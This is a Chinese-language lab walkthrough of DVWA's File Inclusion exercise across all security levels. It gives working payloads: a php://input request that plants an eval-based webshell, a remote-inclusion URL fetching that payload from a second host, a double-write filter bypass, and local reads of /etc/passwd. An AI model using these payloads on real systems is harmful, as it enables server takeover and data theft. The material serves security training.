DVWA File Inclusion(文件包含)全等级

x33g5p2x  于2022-02-12 转载在 其他  
字(2.0k)|赞(0)|评价(0)|浏览(424)

File Inclusion(文件包含)

前言

本地文件包含:输入相对路径和文件名即可

远程文件包含:输入远程地址,会自动解析php代码

PHP伪协议
  1. file:// ——访问本地文件系统
  2. http:// ——访问HTTP(s)网址
  3. ftp:// ——访问FTP(s)URLs
  4. php:// ——访问各个输入输出流(I/O streams)
  5. data:// ——数据(RFC 2397)
  6. phar:// ——PHP归档

php://filter(本地磁盘文件进行读取)

php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。

file://(读取文件内容)

data://(读取文件,和php://input类似)

phar://(不管后缀是什么,都会解压缩)

1.Low

get webshell
本地文件包含

构造POST请求包上传文件

  1. POST /vulnerabilities/fi/?page=php://input HTTP/1.1
  2. Host: 192.168.171.10
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/x-www-form-urlencoded
  8. Content-Length: 69
  9. Origin: http://192.168.171.10
  10. DNT: 1
  11. Connection: close
  12. Referer: http://192.168.171.10/vulnerabilities/fi/?page=include.php
  13. Cookie: PHPSESSID=ncdmp2l6fq938hds1mrrcshvg2; security=low
  14. Upgrade-Insecure-Requests: 1
  15. <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>
  1. <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>

这个php代码的意思是新建一个shell.php的文件,内容是<?php @eval($_POST[shell])?>');?>,即一句话木马。
用蚁剑连接

可以正常执行命令,获取webshell

有关文件上传的更多知识,请查看:DVWA File Upload(文件上传)

远程文件包含

可以在远程服务器上网站目录上创建以下内容文件,注意后缀名不能设置成.php,不然会被远程服务器解析php代码,而不是靶机解析。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>

然后用靶机网站文件包含打开服务器的文件,写入一句话木马就成功了。

  1. http://192.168.171.10/vulnerabilities/fi/?page=http://192.168.171.2/shell.jpg

2.Medium

http:// , https://等特殊字符过滤掉了。

可以把

  1. http://192.168.171.10/vulnerabilities/fi/?page=http://192.168.171.2/shell.jpg

改成

  1. http://192.168.171.10/vulnerabilities/fi/?page=hthttp://tp://192.168.171.2/shell.jpg

即在http://两边再加上http://即可绕过过滤。

即构造hthttp://tp:,当http://被过滤掉时,剩下的字符自动拼接在一起,就形成了http://

该绕过方法被称为双写绕过

3. High

只能包含file开头的文件

file:// 用来访问本地文件

http:// 用来访问网络中的文件

High级别还是可以访问本地文件。

无法上传一句话木马,但还是可以查看靶机电脑的文件。

Linux 系统中的/etc/passwd文件,是系统用户配置文件,存储了系统中所有用户的基本信息

4.Impossible

比较安全

只能打开file1、file2、file3、include.php,彻底杜绝了文件包含漏洞。

相关文章